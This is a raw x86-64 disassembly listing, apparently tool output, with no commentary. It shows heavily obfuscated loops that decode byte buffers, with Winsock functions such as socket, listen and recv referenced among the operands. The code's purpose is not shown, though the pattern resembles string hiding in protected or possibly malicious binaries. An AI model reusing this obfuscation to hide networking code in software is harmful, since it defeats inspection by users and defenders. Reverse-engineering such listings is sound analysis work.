lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140078301
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400782de
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400782c3
lea rcx, [r8 + 5]
cmp rbx, rcx
je 0x1400782a3
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140078286
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007826b
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007824e
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007821f
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140077de0
mov rbx, rcx
lea r8, [rcx + 0x2a]
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x1400787b3
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x140078796
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x140077fcd
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x140077fb2
lea rcx, [r8 + 0x400]
cmp rbx, rcx
jb 0x140077f97
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400781d6
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007818e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140078152
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007812a
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140077de0
mov rbx, rcx
lea r8, [rcx + 5]
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x1400780f8
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400780d8
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x1400780b9
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140078099
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
ja 0x140078076
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140078057
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140078031
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140078008
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140077fe9
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140077de0
mov rbx, rcx
lea r8, [rcx + 0x400]
jmp 0x140077de0
lea ecx, [r9 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xb
jmp 0x140077dd0
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
jmp 0x140077d67
inc r9b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 7
jmp 0x140077cf0
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140078629
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140077cd3
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140077cd3
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140078691
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400786cc
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400786cc
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400786fb
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140078728
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140077cd3
sub r9b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x13
mov byte [rbp + r11 + 0x2a0], dil
inc r11
jmp 0x140077cd3
lea ecx, [r9 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
cmp r8, 8
jb 0x140078142
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140078629
lea ecx, [r9 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
cmp rbx, 0x3e8
jae 0x140078565
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x1400784d9
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
jmp 0x140078168
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x140078583
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140078436
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x1400781a4
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140077cd3
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x140078728
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x1400786fb
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x1400786cc
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
add rbx, r8
jmp 0x1400786cc
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140078691
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
dec r11
inc r11
jmp 0x140077cd3
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140077cd3
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
jmp 0x140078629
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x140078366
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x1400781ec
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007839e
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140077cd3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400783c2
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x1400786fb
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400783e6
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x140078691
cmp rbx, rcx
jne 0x14007840e
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
dec r11
inc r11
jmp 0x140077cd3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400781ec
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x140078629
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007845a
lea ecx, [r9 - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x41
jmp 0x140078629
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078486
add r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3d
dec r11
inc r11
jmp 0x140077cd3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400784af
add r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x39
add rbx, r8
jmp 0x1400786cc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400781a4
sub r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x33
jmp 0x140078728
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078511
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140077cd3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007853d
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x140077cd3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140078168
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x140078629
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
add dil, r10b
jmp 0x140078691
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x6a]
jmp 0x1400786fb
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x1400786fb
sub r9b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x61
add rbx, r8
jmp 0x1400786cc
sub r9b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x65
dec r11
inc r11
jmp 0x140077cd3
lea ecx, [r9 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
jmp 0x140078629
movzx r9d, r11b
lea ecx, [r9 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6d
add r9b, 0x21
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x19
add r9b, r10b
mov byte [rbp + r11 + 0x2a0], r9b
inc r8
dec r11
inc r11
jmp 0x140077cd3
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
dec r11
inc r11
jmp 0x140077cd3
movzx r9d, r11b
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
sub r9b, 0x71
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x17
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x2a0], cl
add rbx, r8
jmp 0x1400786cc
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x77
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140077cd3
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x79
movzx r9d, r11b
sub r9b, 3
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x15
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2a0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x34]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, cl
mov byte [rbp + r11 + 0x2a0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140077cd3
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x7d
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140077cd3
sub r9b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 5
jmp 0x140077cd0
add r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 3
jmp 0x140077cc0
lea rcx, [rbp + 0x14d0f94]
jmp 0x1400787e9
lea rcx, [rbp + 0x8fbdcb]
jmp 0x1400787e9
lea rcx, [rbp + 0x2a0]
lea rdx, [0x1401fcaf1]
call fcn.140039a40
mov byte [rbp + 0x200], 0xcd
mov byte [rbp + 0x201], 0x27
mov byte [rbp + 0x202], gethostname
mov byte [rbp + 0x203], 0x4d
mov byte [rbp + 0x204], 0x56
mov byte [rbp + 0x205], 0x52
mov byte [rbp + 0x206], 0x88
mov byte [rbp + 0x207], 0xbb
mov byte [rbp + 0x208], 0x58
mov byte [rbp + 0x209], 0x52
mov byte [rbp + 0x20a], 0x55
mov byte [rbp + 0x20b], 0x5a
mov byte [rbp + 0x20c], 0x59
mov byte [rbp + 0x20d], 0x57
mov byte [rbp + 0x20e], 0xe0
xor eax, eax
mov qword [rbp + 0x20f], rax
mov dword [rbp + 0x217], eax
mov word [rbp + 0x21b], ax
movabs rsi, 0xcd520e7e835e77bd
movabs r15, 0x9d3e65759795462b
movabs r14, 0x67f62b7b8a1b6737
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x1400793d5
movzx r10d, byte [rbp + r11 + 0x200]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400793cc
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400788fc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x2b
jmp 0x140078929
je 0x140079360
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400792d5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079279
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007922e
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x1400793c3
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007895d
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x140078991
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140079215
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400791f2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400791d5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400791b6
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140078f01
nop
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140078ee6
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140078ebd
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140078e9a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140078e7f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140078e5f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140078e42
lea rcx, [r8 + 0x42]
cmp rbx, rcx
je 0x140078e27
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140078e07
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140078dd8
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400789a0
mov rbx, rcx
lea r8, [rcx + 0x40]
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x1400793a7
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007938a
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x140078b8c
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140078b71
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140078b56
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140078d8f
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x140078d43
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x140078d03
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x140078cdb
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1400789a0
lea rbx, [r8 + 8]
lea r8, [rbx + 6]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140078ca9
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140078c89
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140078c6e
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140078c4e
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140078c2e
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140078c13
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140078bed
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140078bc4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140078ba9
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400789a0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x5a]
jmp 0x1400789a0
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x140078991
lea ecx, [r9 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
jmp 0x140078930
sub r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x53
jmp 0x1400788d0
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14007924c
sub r9b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400788b3
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400788b3
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140079297
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400792b9
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400792bc
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x1400792ef
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007931b
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400788b3
sub r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4f
mov byte [rbp + r11 + 0x200], dil
inc r11
jmp 0x1400788b3
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
cmp r8, 0x1000
jb 0x140078cf3
lea edx, [r9 + 0x4e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x44]
jmp 0x14007924c
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
cmp rbx, 2
jae 0x14007917b
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400790a7
lea edx, [r9 - 0x76]
movzx eax, r10b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140078d19
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x14007919a
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140079003
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x140078d59
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400788b3
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007931b
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x1400792ef
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x1400792bc
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400792b9
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x140079297
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
dec r11
inc r11
jmp 0x1400788b3
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400788b3
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14007924c
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140078f25
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x140078da5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078f5d
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400788b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078f83
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400792bc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078fab
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079297
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140078fd7
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
dec r11
inc r11
jmp 0x1400788b3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140078da5
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007924c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079028
lea edx, [r9 - 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6b
jmp 0x140079249
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079054
add r9b, 0x77
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x41
dec r11
inc r11
jmp 0x1400788b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007907a
sub r9b, 0x1b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x43
jmp 0x1400792bc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140078d59
sub r9b, 0x27
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x11
add dil, r9b
jmp 0x14007931b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400790df
add r9b, 4
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1c
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400788b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079107
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400792ef
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007912d
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x74
jmp 0x1400792b9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140079152
lea edx, [r9 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140079294
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140078d19
lea edx, [r9 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140079249
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, r10b
jmp 0x140079294
lea edx, [r9 + 0x42]
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400792ef
lea edx, [r9 - 0x29]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x1f
add dil, dl
jmp 0x1400792ef
sub r9b, 0x1d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x35
jmp 0x1400792b9
sub r9b, 0x11
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x77
dec r11
inc r11
jmp 0x1400788b3
lea edx, [r9 - 5]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x23
jmp 0x140079249
movzx r9d, r11b
lea edx, [r9 + 7]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x31
add dil, dl
add r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x4d
add r10b, r9b
mov byte [rbp + r11 + 0x200], r10b
inc r8
dec r11
inc r11
jmp 0x1400788b3
movzx r9d, r11b
lea edx, [r9 - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2f
add dil, dl
sub r9b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x5d
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x200], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400788b3
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x2d
add dil, cl
movzx r9d, r11b
dec r9b
